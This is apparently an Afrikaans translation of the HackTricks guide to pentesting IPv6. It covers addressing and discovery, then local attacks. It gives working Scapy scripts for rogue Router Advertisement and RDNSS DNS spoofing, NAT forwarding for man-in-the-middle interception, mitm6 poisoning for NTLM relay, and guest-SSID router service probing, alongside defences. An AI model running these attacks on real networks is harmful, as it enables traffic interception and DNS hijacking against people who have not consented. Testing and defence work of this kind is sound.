Pentesting IPv6
Reading time: 14 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
IPv6 Basiese teorie
Netwerke
IPv6 adresse is gestruktureer om netwerkorganisasie en toestelinteraksie te verbeter. 'n IPv6 adres is verdeel in:
- Netwerk Vooraf: Die aanvanklike 48 bits, wat die netwerksegment bepaal.
- Subnet ID: Volgende 16 bits, gebruik om spesifieke subnets binne die netwerk te definieer.
- Interface Identifiseerder: Die laaste 64 bits, wat 'n toestel binne die subnet uniek identifiseer.
Terwyl IPv6 die ARP-protokol wat in IPv4 voorkom, weglat, stel dit ICMPv6 bekend met twee primêre boodskappe:
- Neighbor Solicitation (NS): Multicast boodskappe vir adresoplossing.
- Neighbor Advertisement (NA): Unicast antwoorde op NS of spontane aankondigings.
IPv6 sluit ook spesiale adres tipes in:
- Loopback Adres (
::1
): Gelyk aan IPv4 se127.0.0.1
, vir interne kommunikasie binne die gasheer. - Link-Local Adresses (
FE80::/10
): Vir plaaslike netwerkaktiwiteite, nie vir internetroutering nie. Toestelle op dieselfde plaaslike netwerk kan mekaar ontdek met behulp van hierdie reeks.
Praktiese Gebruik van IPv6 in Netwerkopdragte
Om met IPv6 netwerke te kommunikeer, kan jy verskeie opdragte gebruik:
- Ping Link-Local Adresses: Kontroleer die teenwoordigheid van plaaslike toestelle met
ping6
. - Neighbor Discovery: Gebruik
ip neigh
om toestelle wat by die skakelvlak ontdek is, te sien. - alive6: 'n Alternatiewe hulpmiddel om toestelle op dieselfde netwerk te ontdek.
Hieronder is 'n paar opdragvoorbeelde:
ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80
# Alternatively, use alive6 for neighbor discovery
alive6 eth0
IPv6 adresse kan afgelei word van 'n toestel se MAC adres vir plaaslike kommunikasie. Hier is 'n vereenvoudigde gids oor hoe om die Link-local IPv6 adres af te lei van 'n bekende MAC adres, en 'n kort oorsig van IPv6 adres tipes en metodes om IPv6 adresse binne 'n netwerk te ontdek.
Afleiding van Link-local IPv6 vanaf MAC Adres
Gegewe 'n MAC adres 12:34:56:78:9a:bc
, kan jy die Link-local IPv6 adres soos volg saamstel:
- Converteer MAC na IPv6 formaat:
1234:5678:9abc
- Voeg
fe80::
voor en plaasfffe
in die middel:fe80::1234:56ff:fe78:9abc
- Draai die sewende bit van links om, verander
1234
na1034
:fe80::1034:56ff:fe78:9abc
IPv6 Adres Tipes
- Unieke Plaaslike Adres (ULA): Vir plaaslike kommunikasie, nie bedoel vir openbare internet routering nie. Vooraf:
FEC00::/7
- Multicast Adres: Vir een-tot-baie kommunikasie. Gelewer aan alle interfaces in die multicast groep. Vooraf:
FF00::/8
- Anycast Adres: Vir een-tot-nabyste kommunikasie. Gestuur na die naaste interface volgens die routering protokol. Deel van die
2000::/3
globale unicast reeks.
Adres Vooraf
- fe80::/10: Link-Local adresse (soos 169.254.x.x)
- fc00::/7: Unieke Plaaslike-Unicast (soos private IPv4 reekse soos 10.x.x.x, 172.16.x.x, 192.168.x.x)
- 2000::/3: Globale Unicast
- ff02::1: Multicast Alle Nodes
- ff02::2: Multicast Router Nodes
Ontdekking van IPv6 Adresse binne 'n Netwerk
Weg 1: Gebruik van Link-local Adresse
- Verkry die MAC adres van 'n toestel binne die netwerk.
- Lei die Link-local IPv6 adres af van die MAC adres.
Weg 2: Gebruik van Multicast
- Stuur 'n ping na die multicast adres
ff02::1
om IPv6 adresse op die plaaslike netwerk te ontdek.
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table
IPv6 Man-in-the-Middle (MitM) Aanvalle
Verskeie tegnieke bestaan om MitM-aanvalle in IPv6-netwerke uit te voer, soos:
- Spoofing ICMPv6 buur of router advertensies.
- Gebruik van ICMPv6 herleiding of "Pakket Te Groot" boodskappe om routing te manipuleer.
- Aanval op mobiele IPv6 (gewoonlik vereis dit dat IPSec gedeaktiveer word).
- Opstel van 'n rogue DHCPv6 bediener.
Identifisering van IPv6 Adresse in die veld
Verkenning van Subdomeine
'n Metode om subdomeine te vind wat moontlik aan IPv6 adresse gekoppel is, behels die gebruik van soekenjins. Byvoorbeeld, die gebruik van 'n soekpatroon soos ipv6.*
kan effektief wees. Spesifiek kan die volgende soekopdrag in Google gebruik word:
site:ipv6./
Gebruik van DNS-vrae
Om IPv6-adresse te identifiseer, kan sekere DNS-rekordtipes gevra word:
- AXFR: Versoek 'n volledige sone-oordrag, wat moontlik 'n wye verskeidenheid DNS-rekords kan onthul.
- AAAA: Soek direk na IPv6-adresse.
- ANY: 'n Breë vraag wat alle beskikbare DNS-rekords teruggee.
Probing met Ping6
Nadat IPv6-adresse wat met 'n organisasie geassosieer word, geïdentifiseer is, kan die ping6
nut gebruik word vir probing. Hierdie hulpmiddel help om die responsiwiteit van geïdentifiseerde IPv6-adresse te evalueer, en kan ook help om aangrensende IPv6-toestelle te ontdek.
IPv6 Plaaslike Netwerk Aanvalstegnieke
Die volgende afdelings dek praktiese laag-2 IPv6-aanvalle wat uitgevoer kan word binne dieselfde /64-segment sonder om enige globale voorvoegsel te ken. Alle pakkette wat hieronder getoon word, is link-lokaal en reis slegs deur die plaaslike skakelaar, wat hulle uiters stil maak in die meeste omgewings.
Stelseltuning vir 'n Stabiele Laboratorium
Voordat jy met IPv6-verkeer speel, word dit aanbeveel om jou toestel te versterk om te verhoed dat jy deur jou eie toetse gepekel word en om die beste prestasie te verkry tydens massiewe pakketinspuiting/snuffeling.
# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on
# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
Passiewe NDP & DHCPv6 Snuffeling
Omdat elke IPv6-gasheer outomaties by verskeie multicast groepe aansluit (ff02::1
, ff02::2
, …) en ICMPv6 vir SLAAC/NDP praat, kan jy die hele segment in kaart bring sonder om 'n enkele pakket te stuur. Die volgende Python/Scapy een-liner luister na die mees interessante L2-boodskappe en druk 'n gekleurde, tydstempel-log van wie is wie:
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse
init(autoreset=True)
# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit: 'Solicit',
DHCP6_Advertise: 'Advertise',
DHCP6_Request: 'Request',
DHCP6_Reply: 'Reply',
DHCP6_Renew: 'Renew',
DHCP6_Rebind: 'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
}
def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return # not a DHCPv6 message we track
else:
return # not interesting
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f" MAC {eth_src} -> {eth_dst}")
print(f" IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)
if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
Resultaat: 'n volledige link-lokale topologie (MAC ⇄ IPv6) binne 'n paar sekondes, sonder om IPS/IDS stelsels wat op aktiewe skandeer staatmaak, te aktiveer.
Router Advertensie (RA) Spoofing
IPv6 gasheerrekenaars staatmaak op ICMPv6 Router Advertensies vir standaard-gateway ontdekking. As jy vervalste RA's meer gereeld as die wettige router inspuit, sal toestelle stilweg na jou as die gateway oorgeskakel word.
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()
lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
send(ra,iface=args.interface,loop=1,inter=args.interval)
Om werklik verkeer te stuur nadat jy die wedloop gewen het:
sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Router Advertensie Vlaggies (M/O) & Standaard Router Voorkeur (Prf)
Vlag | Betekenis | Effek op Klient Gedrag |
---|---|---|
M (Gemanaged Adres Konfigurasie) | Wanneer op 1 gestel, moet die gasheer DHCPv6 gebruik om sy IPv6 adres te verkry. | Hele adressering kom van DHCPv6 – perfek vir mitm6 styl vergiftiging. |
O (Ander Konfigurasie) | Wanneer op 1 gestel, moet die gasheer DHCPv6 slegs gebruik om ander inligting (DNS, NTP, …) te verkry. | Adres steeds via SLAAC, maar DNS kan met DHCPv6 gehuig word. |
M=0 / O=0 | Suiwer SLAAC netwerk. | Slegs RA / RDNSS truuks is moontlik – DHCPv6 sal nie deur kliënte gestuur word nie. |
M=1 / O=1 | Gemengde omgewing. | Beide DHCPv6 en SLAAC word gebruik; die oppervlak vir spoofing is die grootste. |
Tydens 'n pentest kan jy eenvoudig die wettige RA een keer inspekteer en besluit watter vektor haalbaar is:
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
Soek na die flags [M,O]
veld in die dump – geen raaiwerk nodig nie.
Die Prf (Router Voorkeur) veld binne die RA kop beheers hoe aantreklik jou vals router lyk wanneer meerdere gateways teenwoordig is:
Prf waarde | Binêr | Betekenis |
---|---|---|
Hoog | 10 | Kliente verkies hierdie router bo enige Medium/Lae een |
Medium (verstek) | 01 | Gebruik deur byna elke wettige toestel |
Lae | 00 | Gekoos slegs wanneer daar geen beter router bestaan nie |
Wanneer jy die pakket met Scapy genereer, kan jy dit deur die prf
parameter stel soos hierbo gewys (prf=0x1
→ Hoog). Die kombinasie van Hoë Prf, 'n kort interval, en 'n nie-nul lewensduur maak jou vals gateway merkwaardig stabiel.
RDNSS (DNS) Spoofing via RA
RFC 8106 laat die toevoeging van 'n Recursive DNS Server (RDNSS) opsie binne 'n RA toe. Moderne OSes (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) vertrou dit outomaties:
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
send(ra,iface=args.interface,loop=1,inter=args.interval)
Clients sal voeg jou DNS by hul resolver lys vir die gegewe leeftyd, wat volle DNS-hijacking toelaat totdat die waarde verval of jy 'n lifetime=0
terugtrek stuur.
DHCPv6 DNS Spoofing (mitm6)
In plaas van SLAAC, staat Windows-netwerke dikwels op stateless DHCPv6 vir DNS. mitm6 antwoord outomaties op Solicit
boodskappe met 'n Advertise → Reply vloei wat jou link-lokale adres as DNS vir 300 sekondes toewys. Dit ontsluit:
- NTLM relay aanvalle (WPAD + DNS hijacking)
- Interceptie van interne naam resolusie sonder om roeters aan te raak
Tipiese gebruik:
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
Verdedigings
- RA Guard / DHCPv6 Guard / ND Inspeksie op bestuurde skakelaars.
- Port ACLs wat slegs die wettige router se MAC toelaat om RAs te stuur.
- Monitor vir onbetroubare hoë-tempo RAs of skielike RDNSS veranderinge.
- Om IPv6 op eindpunte te deaktiveer is 'n tydelike oplossing wat dikwels moderne dienste breek en blinde kolle verberg – verkies L2 filtrering eerder.
NDP Router Ontdekking op Gaste/Pubieke SSIDs en Bestuursdiens Blootstelling
Baie verbruikersrouters blootstel bestuursdemonen (HTTP(S), SSH/Telnet, TR-069, ens.) op alle interfaces. In sommige implementasies is die “gaste/publieke” SSID gebridged na die WAN/kern en is dit slegs IPv6. Selfs al verander die router se IPv6 op elke opstart, kan jy dit betroubaar leer met NDP/ICMPv6 en dan direk aan die bestuursvlak van die gaste SSID koppel.
Tipiese werksvloei van 'n kliënt wat aan die gaste/publieke SSID gekoppel is:
- Ontdek die router via ICMPv6 Router Solicitation na die All-Routers multicast
ff02::2
en vang die Router Advertisement (RA):
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'
# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY
Die RA onthul die router se link-lokale en dikwels 'n globale adres/prefiks. As slegs 'n link-lokale adres bekend is, onthou dat verbindings die sone-indeks moet spesifiseer, bv. ssh -6 admin@[fe80::1%wlan0]
.
Alternatief: gebruik ndisc6 suite indien beskikbaar:
# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
- Bereik blootgestelde dienste oor IPv6 vanaf die gaste SSID:
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
- As die bestuurskuil pakketvangtoerusting bied via 'n wrapper (bv. tcpdump), kyk vir argument/filenaam-inspuiting wat die oorgang van ekstra tcpdump-vlaggies soos
-G/-W/-z
toelaat om post-rotate opdraguitvoering te bereik. Sien:
Verdediging/nota's:
- Moet nie bestuur aan gaste/openbare brûe bind nie; pas IPv6-vuurmure toe op SSID-brûe.
- Beperk en filter NDP/RS/RA op gaste-segmenten waar moontlik.
- Vir dienste wat bereikbaar moet wees, handhaaf authN/MFA en sterk koersbeperkings.
Verwysings
- Legless – IPv6 Penetration Testing
- mitm6
- RFC 8106 – IPv6 ND DNS Configuration
- http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html
- https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904
- Practical Guide to IPv6 Attacks in a Local Network
- FiberGateway GR241AG – Full Exploit Chain
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.